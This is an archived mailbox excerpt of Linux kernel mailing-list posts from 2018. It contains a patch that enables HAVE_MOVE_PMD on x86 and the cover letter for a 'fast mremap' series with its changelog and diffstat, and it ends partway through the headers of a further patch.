Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gIn7N-00066x-Sm; Sat, 03 Nov 2018 04:01:01 +0000
Original-Received: from mail-pf1-x443.google.com ([2607:f8b0:4864:20::443])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gIn7L-00065W-Bu
 for linux-snps-arc@lists.infradead.org; Sat, 03 Nov 2018 04:01:00 +0000
Original-Received: by mail-pf1-x443.google.com with SMTP id g21-v6so1880875pfi.7
 for <linux-snps-arc@lists.infradead.org>; Fri, 02 Nov 2018 21:00:56 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=from:to:cc:subject:date:message-id:in-reply-to:references
 :mime-version:content-transfer-encoding;
 bh=5HkIf26O8EXe1py4I/eqZ1OjBmokbTLMF6ur7yoT6bA=;
 b=jrGY5nHXhhy3bkMSfMNLEHiciHloHxFKJ4aKR9IYI3sMm4SLNqyCuZkxA1Ou2fv5Eb
 LcgIqDLqRcuJQYRuuB6UAcFJ7ufl/3CYO1JXJIb4o1fmCxpYb6V2z23vry7jhOX1HOwS
 BcJfpo/bXQrK4mzzOg5dJYw8ZFSef/P3g+8jc=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
 :references:mime-version:content-transfer-encoding;
 bh=5HkIf26O8EXe1py4I/eqZ1OjBmokbTLMF6ur7yoT6bA=;
 b=s624jOphICu7tm9mfkm80reRhkSGdzi19zCvq4JIevGQwjRVhd8fyvE6JOtCbgeG8c
 CgRIyXcryR6VGzW/U7vh26TKoz0iBI3cwJPqLIjvQ5r256EKLtzJCcJB7G7U1kfNJlVN
 JEfve8Q5AEaSi3A5YIlYNdCG5JIqsi3BjnqF4AoFSgcwORRPJCpEI1472opnpw72RN61
 i3LdEsRhmLXzMyJhdRM9HAeuLyG3dqbwwnzG+W/35RQzLEhbL8ER6VMrIoyZ+O0fbdtI
 Zes29BByTQvdsMGCPuyehhoOWoE4zlXbXuN4JrQjl96J/gV8eNFVM3GicgUMOS+DvIyy
 MwNQ==
X-Gm-Message-State: AGRZ1gKvvZTfg/wI6o5/NdeC8FA+Hb2Rt25mTL3pQbQleB5VGGXX7jAt
 6d+Qo5mCfrkzNaM8+Rl7XEcUtA==
X-Google-Smtp-Source: AJdET5fu2OzYfiTyZl33qiii7V2shb8ruxRKcR+KaDeH4D4fynaZZ4zUx7EMsJk+RfMx/9zdh6SdFA==
X-Received: by 2002:a62:6f43:: with SMTP id
 k64-v6mr13745084pfc.87.1541217656208; 
 Fri, 02 Nov 2018 21:00:56 -0700 (PDT)
Original-Received: from joelaf.mtv.corp.google.com
 ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id x36-v6sm35836232pgl.43.2018.11.02.21.00.53
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Fri, 02 Nov 2018 21:00:55 -0700 (PDT)
X-Google-Original-From: Joel Fernandes <joelaf@google.com>
X-Mailer: git-send-email 2.19.1.930.g4563a0d9d0-goog
In-Reply-To: <20181103040041.7085-1-joelaf@google.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181102_210059_449307_7FE6498E 
X-CRM114-Status: GOOD (  10.90  )
X-Spam-Score: -0.2 (/)
X-Spam-Report: SpamAssassin version 3.4.2 on bombadil.infradead.org summary:
 Content analysis details:   (-0.2 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/,
 no trust [2607:f8b0:4864:20:0:0:0:443 listed in]
 [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
 author's domain
 -0.1 DKIM_VALID_EF          Message has a valid DKIM or DK signature from
 envelope-from domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
 valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4682 gmane.linux.kernel:2914491 gmane.linux.ports.mips.general:67283 gmane.linux.ports.ia64:29459 gmane.linux.ports.sh.devel:57735 gmane.linux.kernel.mm:206330 gmane.linux.ports.riscv:1347 gmane.comp.emulators.kvm.arm.devel:19659 gmane.linux.ports.sparc:28711 gmane.linux.ports.hexagon:1991 gmane.linux.ports.parisc:29260 gmane.linux.ports.alpha:5403 gmane.linux.ports.ppc64.devel:165205
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4682>

From: "Joel Fernandes (Google)" <joel@joelfernandes.org>

Moving page-tables at the PMD-level on x86 is known to be safe. Enable
this option so that we can do fast mremap when possible.

Suggested-by: Kirill A. Shutemov <kirill@shutemov.name>
Acked-by: Kirill A. Shutemov <kirill@shutemov.name>
Signed-off-by: Joel Fernandes (Google) <joel@joelfernandes.org>
---
 arch/x86/Kconfig | 1 +
 1 file changed, 1 insertion(+)

diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index ba7e3464ee92..48aef01a0bd1 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -173,6 +173,7 @@ config X86
 	select HAVE_MEMBLOCK_NODE_MAP
 	select HAVE_MIXED_BREAKPOINTS_REGS
 	select HAVE_MOD_ARCH_SPECIFIC
+	select HAVE_MOVE_PMD
 	select HAVE_NMI
 	select HAVE_OPROFILE
 	select HAVE_OPTPROBES
-- 
2.19.1.930.g4563a0d9d0-goog

From - Thu Nov 08 21:42:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH -next 0/3] Add support for fast mremap
Date: Fri,  2 Nov 2018 21:00:38 -0700
Lines: 87
Approved: news@gmane.org
Message-ID: <20181103040041.7085-1-joelaf@google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1541217545 15745 195.159.176.226 (3 Nov 2018 03:59:05 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 3 Nov 2018 03:59:05 +0000 (UTC)
Cc: Joel Fernandes <joelaf@google.com>, linux-mips@linux-mips.org,
 Rich Felker <dalias@libc.org>, linux-ia64@vger.kernel.org,
 linux-sh@vger.kernel.org, Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 kvmarm@lists.cs.columbia.edu, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, anton.ivanov@kot-begemot.c
To: linux-kernel@vger.kernel.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sat Nov 03 04:58:55 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gIn5L-0003re-BP
	for gla-linux-snps-arc@m.gmane.org; Sat, 03 Nov 2018 04:58:55 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:Message-Id:Date:Subject:To
	:From:Reply-To:Content-ID:Content-Description:Resent-Date:Resent-From:
	Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:References:
	List-Owner; bh=MvXA75wGx097kRBz92G96TnTyTEudApQet6GEGxUKt0=; b=KPAQq17QpVLV3A
	S6M7UKHJqWUdZdIRALmg4FQGQtAQJUIJUEIjjOlcGjxGOR1hfPvdUwVAwz0fHD+7JVICgKzmKnfV5
	QXrm3aIYXvLUq+A5W5xXpyPCqT7mqoa827GjbuTP3f9KMPgUZ8pr4sM8A3aAgTGnGI8zr6jXcwqDT
	6r4xGjJaDM43pbsA6az+AnymiUSXULrtubiLa74CNheRU6MvoToOFGcqFT6GTEL5Jb6+3+2h48x1n
	weFFKMjCOmUSzOC6mf/55t9Cm8T15lZJK+Y0Bm5/OmN1Ge8fORz48M+TqviooNmh3gueFrjoGmrtD
	nAX702vo/AB+htanU/dQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gIn7Q-0006BV-M9; Sat, 03 Nov 2018 04:01:04 +0000
Original-Received: from mail-pf1-x444.google.com ([2607:f8b0:4864:20::444])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gIn7L-00065F-CG
 for linux-snps-arc@lists.infradead.org; Sat, 03 Nov 2018 04:01:02 +0000
Original-Received: by mail-pf1-x444.google.com with SMTP id j22-v6so1891361pfh.3
 for <linux-snps-arc@lists.infradead.org>; Fri, 02 Nov 2018 21:00:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=from:to:cc:subject:date:message-id:mime-version
 :content-transfer-encoding;
 bh=wauWrsOYZ4NO7yzxN9r9ffJEchMQCnKRjhBqfvcq730=;
 b=hQZEI/5IkmDKiwTPcEpeRj5mdJ5f2khCIYUC+tRjECkBSTU7A0nmPfUa+oKun3ZvpC
 QBKK3UGjzZVXQ1U3TcxSBsjIIEAUExiO5kioNqzsBdpusaZSc1GEsUpTdFXIZs++dzNb
 Oce3FxvhzDGCV4UEuF2dXGfauQd44vDoSo9M4=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:from:to:cc:subject:date:message-id:mime-version
 :content-transfer-encoding;
 bh=wauWrsOYZ4NO7yzxN9r9ffJEchMQCnKRjhBqfvcq730=;
 b=nlZz70+9BoMKliKRAKZTg7Hjf0bPrSkLiLIlpHDBbCDQh4ziN52TGcG9oy5N8dHIGR
 VJIv1j/KKizlriFG5VkSfknWPV13UcwGlZ7zORK1JOCuPcTFoFbEK2hz3LrZBYqqvbKa
 ZMZFMKbnK6R98ppb5egSCs6zg7mIzmXgUQ4Mhl9lQkeLyKf5IsoYO/rkyfebM8ZmOGZN
 8+RAzKPE8+KN7oAmrq3snyHMyw7rG2S9PbbEqWcb+xP1rdllOGThWBMZi0UULROLKIKd
 aOlRj/BHPLHabawFbivWbKuELAkIiKE4D5JszOoX3X63GvnqdsXxSHNp6GXuNvnNoJhF
 /xqw==
X-Gm-Message-State: AGRZ1gJbLoPtIpDikV4gjVyYaEKDNkMT3g+6MBUKtFyBg7mWXqFSJFCp
 VOrrRKj04MTC8FztK2qXbaQ/vw==
X-Google-Smtp-Source: AJdET5cSoldQI3hr9VnkPhkTOPGPi4e4hyOBk5/0PfLyEPfalVwQIW1MKjDzIap7cLOClQG72ynqpQ==
X-Received: by 2002:a63:a441:: with SMTP id
 c1-v6mr13210874pgp.49.1541217647914; 
 Fri, 02 Nov 2018 21:00:47 -0700 (PDT)
Original-Received: from joelaf.mtv.corp.google.com
 ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id x36-v6sm35836232pgl.43.2018.11.02.21.00.45
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Fri, 02 Nov 2018 21:00:46 -0700 (PDT)
X-Google-Original-From: Joel Fernandes <joelaf@google.com>
X-Mailer: git-send-email 2.19.1.930.g4563a0d9d0-goog
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181102_210059_453126_0468F2D8 
X-CRM114-Status: GOOD (  14.28  )
X-Spam-Score: -0.2 (/)
X-Spam-Report: SpamAssassin version 3.4.2 on bombadil.infradead.org summary:
 Content analysis details:   (-0.2 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/,
 no trust [2607:f8b0:4864:20:0:0:0:444 listed in]
 [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
 author's domain
 -0.1 DKIM_VALID_EF          Message has a valid DKIM or DK signature from
 envelope-from domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
 valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4683 gmane.linux.kernel:2914492 gmane.linux.ports.mips.general:67284 gmane.linux.ports.ia64:29460 gmane.linux.ports.sh.devel:57736 gmane.linux.kernel.mm:206331 gmane.linux.ports.sparc:28712 gmane.linux.ports.riscv:1348 gmane.comp.emulators.kvm.arm.devel:19660 gmane.linux.ports.hexagon:1992 gmane.linux.ports.parisc:29261 gmane.linux.ports.alpha:5404 gmane.linux.ports.ppc64.devel:165206
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4683>

Hi,
Here is the latest "fast mremap" series. This just a repost with Kirill's
Acked-bys added. I would like this to be considered for linux -next.  I also
dropped the CONFIG enablement patch for arm64 since I am yet to test it with
the new TLB flushing code that is in very recent kernel releases. (None of my
arm64 devices run mainline right now.) so I will post the arm64 enablement once
I get to that. The performance numbers in the series are for x86.

List of patches in series:

(1) mm: select HAVE_MOVE_PMD in x86 for faster mremap

(2) mm: speed up mremap by 20x on large regions (v4)
v1->v2: Added support for per-arch enablement (Kirill Shutemov)
v2->v3: Updated commit message to state the optimization may also
	run for non-thp type of systems (Daniel Col).
v3->v4: Remove useless pmd_lock check (Kirill Shutemov)
	Rebased ontop of Linus's master, updated perf results based
        on x86 testing. Added Kirill's Acks.

(3) mm: treewide: remove unused address argument from pte_alloc functions (v2)
v1->v2: fix arch/um/ prototype which was missed in v1 (Anton Ivanov)
        update changelog with manual fixups for m68k and microblaze.

not included - (4) mm: select HAVE_MOVE_PMD in arm64 for faster mremap
    This patch is dropped since last posting pending further performance
    testing on arm64 with new TLB gather updates. See notes in patch
    titled "mm: speed up mremap by 500x on large regions" for more
    details.


Joel Fernandes (Google) (3):
  mm: treewide: remove unused address argument from pte_alloc functions
    (v2)
  mm: speed up mremap by 20x on large regions (v4)
  mm: select HAVE_MOVE_PMD in x86 for faster mremap

 arch/Kconfig                                 |  5 ++
 arch/alpha/include/asm/pgalloc.h             |  6 +-
 arch/arc/include/asm/pgalloc.h               |  5 +-
 arch/arm/include/asm/pgalloc.h               |  4 +-
 arch/arm64/include/asm/pgalloc.h             |  4 +-
 arch/hexagon/include/asm/pgalloc.h           |  6 +-
 arch/ia64/include/asm/pgalloc.h              |  5 +-
 arch/m68k/include/asm/mcf_pgalloc.h          |  8 +--
 arch/m68k/include/asm/motorola_pgalloc.h     |  4 +-
 arch/m68k/include/asm/sun3_pgalloc.h         |  6 +-
 arch/microblaze/include/asm/pgalloc.h        | 19 +-----
 arch/microblaze/mm/pgtable.c                 |  3 +-
 arch/mips/include/asm/pgalloc.h              |  6 +-
 arch/nds32/include/asm/pgalloc.h             |  5 +-
 arch/nios2/include/asm/pgalloc.h             |  6 +-
 arch/openrisc/include/asm/pgalloc.h          |  5 +-
 arch/openrisc/mm/ioremap.c                   |  3 +-
 arch/parisc/include/asm/pgalloc.h            |  4 +-
 arch/powerpc/include/asm/book3s/32/pgalloc.h |  4 +-
 arch/powerpc/include/asm/book3s/64/pgalloc.h | 12 ++--
 arch/powerpc/include/asm/nohash/32/pgalloc.h |  4 +-
 arch/powerpc/include/asm/nohash/64/pgalloc.h |  6 +-
 arch/powerpc/mm/pgtable-book3s64.c           |  2 +-
 arch/powerpc/mm/pgtable_32.c                 |  4 +-
 arch/riscv/include/asm/pgalloc.h             |  6 +-
 arch/s390/include/asm/pgalloc.h              |  4 +-
 arch/sh/include/asm/pgalloc.h                |  6 +-
 arch/sparc/include/asm/pgalloc_32.h          |  5 +-
 arch/sparc/include/asm/pgalloc_64.h          |  6 +-
 arch/sparc/mm/init_64.c                      |  6 +-
 arch/sparc/mm/srmmu.c                        |  4 +-
 arch/um/include/asm/pgalloc.h                |  4 +-
 arch/um/kernel/mem.c                         |  4 +-
 arch/unicore32/include/asm/pgalloc.h         |  4 +-
 arch/x86/Kconfig                             |  1 +
 arch/x86/include/asm/pgalloc.h               |  4 +-
 arch/x86/mm/pgtable.c                        |  4 +-
 arch/xtensa/include/asm/pgalloc.h            |  8 +--
 include/linux/mm.h                           | 13 ++--
 mm/huge_memory.c                             |  8 +--
 mm/kasan/kasan_init.c                        |  2 +-
 mm/memory.c                                  | 17 +++---
 mm/migrate.c                                 |  2 +-
 mm/mremap.c                                  | 62 +++++++++++++++++++-
 mm/userfaultfd.c                             |  2 +-
 virt/kvm/arm/mmu.c                           |  2 +-
 46 files changed, 163 insertions(+), 147 deletions(-)

-- 
2.19.1.930.g4563a0d9d0-goog

From - Thu Nov 08 21:42:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH -next 2/3] mm: speed up mremap by 20x on large regions (v4)
Date: Fri,  2 Nov 2018 21:00:40 -0700
Lines: 144
Approved: news@gmane.org
Message-ID: <20181103040041.7085-3-joelaf@google.com>
References: <20181103040041.7085-1-joelaf@google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1541217553 16355 195.159.176.226 (3 Nov 2018 03:59:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 3 Nov 2018 03:59:13 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 "Joel Fernandes \(Google\)" <joel@joelfernandes.org>,
 linux-riscv@lists.infradead.org, elfring@users.sourceforge.net,
 Jonas Bonn <jonas@southpole.se>, kvmarm@lists.cs.columbia.edu,
 dancol@google.com, Yoshinori Sato <ysato@users.sourceforge.jp>,
 sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, anton.i
To: linux-kernel@vger.kernel.org
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Sat Nov 03 04:59:03 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1gIn5T-00041s-2Q
	for glpr-linux-riscv@m.gmane.org; Sat, 03 Nov 2018 04:59:03 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:References:In-Reply-To:
	Message-Id:Date:Subject:To:From:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=mMh6QQIWfpcKAd44dwB5+0qpcnyYBm3OrLJzXuZ3Aho=; b=npqS+3UCuyWNvV
	NFeOFxPWuCdX6QEQDtcN4e/ZJ3RJWBwrDt4X7MGk8cWSpwA0pIa+b3W2OrwIk2AbdGqkVqrAziI5V
	7Jx7NBKE/ijtZMFjXK2UZJyJgJAmv17zcZaMS/I/oVDNwwArb4iprEB9tbtCECGPt6ssWb6ZmsDkk
	48AH6lJmGwAT86i5gq8Gui5n7RPGSnrFIx88CAixAVuk+OL7JTRbPcSz/dA2/+VQTJEDn2aEEGMS+
	i9aBH7OxHbufzrYCZH7HCHbdgMpgHLmWwJwT8Ulql6/A/lBsniZSEe/+y1tRLByii89D85WXmwmSv
	si6LthL8n9oRIusMa94g==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gIn7X-0006Oz-FM; Sat, 03 Nov 2018 04:01:11 +0000
Original-Received: from mail-pg1-x543.google.com ([2607:f8b0:4864:20::543])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gIn7N-00065S-VL
 for linux-riscv@lists.infradead.org; Sat, 03 Nov 2018 04:01:07 +0000
Original-Received: by mail-pg1-x543.google.com with SMTP id r9-v6so1793024pgv.6
 for <linux-riscv@lists.infradead.org>; Fri, 02 Nov 2018 21:00:54 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=from:to:cc:subject:date:message-id:in-reply-to:references
 :mime-version:content-transfer-encoding;
 bh=4Vdpt8w1x7+88qZlyVHMbUtXp7FQV7eYUa8pKh7HFuc=;
 b=O1VPs1AtCZe5Y4roHrhBhPmhNvdBh1rEO59rcRL8r952aGTqKq44fR14hT1hHaTQsN
 S0hH4ManKu+OM/M5WYY9nB6b+WItjdGWZuecDtTyvAmIaGP+B+/ydbpYtqXO7hI3VrgG
 vrkwLyMhAHVAIbpx1Yzq3cXw4ZnGQElDBkL2A=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
 :references:mime-version:content-transfer-encoding;
 bh=4Vdpt8w1x7+88qZlyVHMbUtXp7FQV7eYUa8pKh7HFuc=;
 b=D4ycGBJVak108Cc/z+KVZl9W6QJ57dkN5jwBZbIVpJG9sWJZidfnoHNFOFM1a4w9lG
 Hmj8wvk07HpW+WqAgfHP5g5dsGSseW8fHOYr4Qe/A/YUe6uUnQsZS8xvMKscNvLYUQrI
 Ki9gHxFoyTcKF6ck71rcNdK6kjDcrsk3UPZWEzaOrUEBP1ETDdGk+dA/8WcbLWFVH/7T
 FKIqm20+PjxIXQRhXhwsDLux3YcMizuCOC7OL6Cg98+lQCaD7xeG3tI/GYuDzJxK9y1H
 7nGcLOGU8cbE2KQAPaQLG/oAzZt1PXq/KY6G0xUMGJMXm4/d59Zj2rDQAHFh3Z+OMZ6j
 DYug==
X-Gm-Message-State: AGRZ1gJH5miPFBTkm1ghfxCK+13WANIiYg/0htnlJ6kj1r73kxqhD3mZ
 ntOGd13OtDwa+T4A6hNLtK94zQ==
X-Google-Smtp-Source: AJdET5d0fZtXdJgYGItC/ky/qG/5i8cxsZTf4nF4g/lWwHUYac4MhmIcJHJpC72tKDWuxoW2htzcZQ==
X-Received: by 2002:a63:f547:: with SMTP id e7mr13392017pgk.182.1541217653491; 
 Fri, 02 Nov 2018 21:00:53 -0700 (PDT)
Original-Received: from joelaf.mtv.corp.google.com
 ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id x36-v6sm35836232pgl.43.2018.11.02.21.00.50
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Fri, 02 Nov 2018 21:00:52 -0700 (PDT)
X-Google-Original-From: Joel Fernandes <joelaf@google.com>
X-Mailer: git-send-email 2.19.1.930.g4563a0d9d0-goog
In-Reply-To: <20181103040041.7085-1-joelaf@google.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181102_210102_307526_4C47DAE5 
X-CRM114-Status: GOOD (  17.48  )
X-Spam-Score: -0.2 (/)
X-Spam-Report: SpamAssassin version 3.4.2 on bombadil.infradead.org summary:
 Content analysis details:   (-0.2 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/,
 no trust [2607:f8b0:4864:20:0:0:0:543 listed in]
 [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
 author's domain
 -0.1 DKIM_VALID_EF          Message has a valid DKIM or DK signature from
 envelope-from domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
 valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
